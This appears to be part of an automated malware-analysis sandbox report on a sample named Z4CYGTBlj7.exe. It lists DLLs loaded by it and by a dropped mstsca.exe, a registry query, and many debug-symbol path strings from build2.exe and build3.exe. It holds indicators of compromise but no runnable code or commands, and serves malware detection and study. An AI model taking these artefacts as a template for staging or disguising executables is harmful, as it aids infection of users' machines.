Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Section loaded: uxtheme.dll

Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Z4CYGTBlj7.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\40\ source: Z4CYGTBlj7.exe, 00000005.00000003.2523210330.0000000003580000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2525484667.0000000003580000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\**GL. source: Z4CYGTBlj7.exe, 00000005.00000003.2368895900.000000000300D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\40\9 source: Z4CYGTBlj7.exe, 00000005.00000003.2369168917.0000000002FF4000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2369363954.0000000002FFF000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2146792053.0000000002FF7000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2369887103.0000000003005000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2194459630.0000000002FFC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: Z4CYGTBlj7.exe, 00000005.00000003.2448417612.00000000034E1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: Z4CYGTBlj7.exe, 00000005.00000003.2539766049.0000000003551000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2529621743.0000000003540000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2540961975.0000000003568000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2535908753.0000000003548000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2530899173.00000000031EF000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2539404229.0000000003548000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: Z4CYGTBlj7.exe, 00000005.00000003.2460545955.00000000034F0000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2446465700.0000000003568000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2461630356.0000000003511000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2462953255.0000000003531000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\@< source: Z4CYGTBlj7.exe, 00000005.00000003.2556733211.00000000036F0000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2547946587.00000000036E9000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2553638670.00000000036E1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: Z4CYGTBlj7.exe, 00000005.00000003.2549181963.0000000003669000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2535908753.0000000003638000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2547946587.0000000003632000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2546389007.00000000035A9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\\*wiw source: Z4CYGTBlj7.exe, 00000005.00000003.2530121041.00000000035CB000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2539577263.00000000035D8000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2530337314.00000000035D1000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2536791659.00000000035D1000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2541326417.00000000035D8000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2535908753.0000000003548000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\3U6MX\.x source: Z4CYGTBlj7.exe, 00000005.00000003.2556880672.00000000035B8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: Z4CYGTBlj7.exe, 00000005.00000003.2447109075.00000000031A8000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2420425423.00000000031A1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\q~ source: Z4CYGTBlj7.exe, 00000005.00000003.2530121041.00000000035CB000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2532037869.0000000003629000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2530337314.00000000035D1000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2531983307.0000000003610000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2531070566.0000000003601000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\baduleropolec\83 roxihapuponab.pdb source: build2.exe, 00000008.00000002.2112430516.0000000000410000.00000002.00000001.01000000.00000008.sdmp, build2.exe, 00000008.00000000.2109197817.0000000000410000.00000002.00000001.01000000.00000008.sdmp, build2.exe, 00000009.00000000.2110893317.0000000000410000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\p\j8& source: Z4CYGTBlj7.exe, 00000005.00000003.2420792420.00000000032DC000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2420960902.00000000032ED000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2419932972.00000000032D9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: Z4CYGTBlj7.exe, 00000005.00000003.2549181963.0000000003669000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2535908753.0000000003638000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2547946587.0000000003632000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2546389007.00000000035A9000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2537083604.0000000003026000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2537527973.0000000003032000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\94\* source: Z4CYGTBlj7.exe, 00000005.00000003.2447002330.0000000002FFC000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2464017365.0000000003022000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2462548299.0000000003019000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2461567107.0000000003009000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2448686090.000000000302B000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2447180488.0000000003012000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\ source: Z4CYGTBlj7.exe, 00000005.00000003.2369168917.0000000002FF4000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2421403214.000000000300A000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2420352708.0000000003009000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2369286983.0000000003009000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2194459630.0000000002FFC000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2420121632.0000000002FF4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\e\ source: Z4CYGTBlj7.exe, 00000005.00000003.2553740900.00000000035F9000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2554309548.0000000003600000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: Z4CYGTBlj7.exe, 00000005.00000003.2447002330.0000000002FFC000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2447180488.0000000003012000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: Z4CYGTBlj7.exe, 00000005.00000003.2539766049.0000000003551000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2540961975.0000000003568000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2535908753.0000000003548000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2539404229.0000000003548000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\bup-mage85\kuvovipor\soxecexar-kavah95\wibaju90_tavi60 p.pdb source: build3.exe, 0000000B.00000000.2132410468.0000000000401000.00000020.00000001.01000000.00000009.sdmp, build3.exe, 0000000B.00000002.2245746608.0000000000401000.00000020.00000001.01000000.00000009.sdmp, build3.exe, 0000000F.00000000.2244925743.0000000000401000.00000020.00000001.01000000.00000009.sdmp, mstsca.exe, 00000012.00000000.2256501220.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 00000012.00000002.2352884069.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 00000013.00000000.2351621244.0000000000401000.00000020.00000001.01000000.0000000A.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: Z4CYGTBlj7.exe, 00000005.00000003.2546389007.00000000036FC000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2560202146.0000000003700000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2556733211.00000000036F0000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2553638670.00000000036E1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\s8 source: Z4CYGTBlj7.exe, 00000005.00000003.2420792420.00000000032DC000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2420960902.00000000032ED000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2419932972.00000000032D9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: Z4CYGTBlj7.exe, 00000005.00000003.2460545955.00000000034F0000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2525484667.0000000003559000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2461069714.00000000031E9000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2523654226.0000000003531000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2524603202.0000000003538000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2463928484.00000000031F0000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2461630356.0000000003511000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2489016567.00000000031E4000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2462953255.0000000003531000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2490623508.00000000031F4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb.bgjs0>X source: Z4CYGTBlj7.exe, 00000005.00000003.2369107720.000000000322F000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2368999913.00000000031E1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: Z4CYGTBlj7.exe, 00000005.00000003.2523210330.0000000003580000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2525238514.00000000035C0000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2524845137.00000000035B9000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2490428782.0000000003571000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: Z4CYGTBlj7.exe, 00000005.00000003.2420792420.00000000032DC000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2420960902.00000000032ED000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2419932972.00000000032D9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\w\s{ source: Z4CYGTBlj7.exe, 00000005.00000003.2369168917.0000000002FF4000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2421403214.000000000300A000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2420352708.0000000003009000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2369286983.0000000003009000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2194459630.0000000002FFC000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2420121632.0000000002FF4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: Z4CYGTBlj7.exe, 00000005.00000003.2492203424.0000000003030000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2489261715.0000000002FF7000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2490754280.000000000302B000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2490125322.000000000300F000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2490718283.0000000003024000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\e\*r source: Z4CYGTBlj7.exe, 00000005.00000003.2447002330.0000000002FFC000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2462548299.0000000003019000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2461567107.0000000003009000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2447180488.0000000003012000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\h source: Z4CYGTBlj7.exe, 00000005.00000003.2554461458.0000000003509000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ry\FN source: Z4CYGTBlj7.exe, 00000005.00000003.2554424224.00000000036B9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\\ source: Z4CYGTBlj7.exe, 00000005.00000003.2523863220.0000000003361000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2525021757.0000000003367000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2523612308.0000000003349000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2525908479.000000000336B000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2529895907.00000000032C1000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2523047573.00000000032C1000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2523493769.00000000032F3000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2530077727.000000000336F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\& source: Z4CYGTBlj7.exe, 00000005.00000003.2553638670.00000000036E1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: Z4CYGTBlj7.exe, 00000005.00000003.2446255332.0000000003367000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\=~ source: Z4CYGTBlj7.exe, 00000005.00000003.2539766049.0000000003551000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2529621743.0000000003540000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2540961975.0000000003568000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2535908753.0000000003548000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2539404229.0000000003548000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\AC\R source: Z4CYGTBlj7.exe, 00000005.00000003.2368895900.000000000300D000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2421293791.0000000003012000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2420352708.0000000003009000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2420388854.000000000300F000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2420121632.0000000002FF4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: Z4CYGTBlj7.exe, 00000005.00000003.2420792420.00000000032DC000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2420960902.00000000032ED000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2419932972.00000000032D9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\k5% source: Z4CYGTBlj7.exe, 00000005.00000003.2460374897.00000000032C1000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2460863241.00000000032E1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\d source: Z4CYGTBlj7.exe, 00000005.00000003.2368895900.000000000300D000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2421293791.0000000003012000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2420352708.0000000003009000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2420388854.000000000300F000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2420121632.0000000002FF4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\\\h5 source: Z4CYGTBlj7.exe, 00000005.00000003.2530899173.00000000031EF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\*ory\\ source: Z4CYGTBlj7.exe, 00000005.00000003.2368895900.000000000300D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\07 source: Z4CYGTBlj7.exe, 00000005.00000003.2448417612.00000000034E1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\he\"9 source: Z4CYGTBlj7.exe, 00000005.00000003.2420792420.00000000032DC000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2420960902.00000000032ED000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2419932972.00000000032D9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\te\ source: Z4CYGTBlj7.exe, 00000005.00000003.2523612308.0000000003349000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2529895907.00000000032C1000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2530267766.00000000032DD000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2523047573.00000000032C1000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2523493769.00000000032F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\input\cs-CZ\od.pdb\ source: Z4CYGTBlj7.exe, 00000005.00000003.2560202146.00000000036C1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\*73 source: Z4CYGTBlj7.exe, 00000005.00000003.2447002330.0000000002FF7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb6L source: Z4CYGTBlj7.exe, 00000005.00000003.2368895900.000000000300D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\* source: Z4CYGTBlj7.exe, 00000005.00000003.2539048431.00000000031A1000.00000004.00000020.00020000.00000000.sdmp
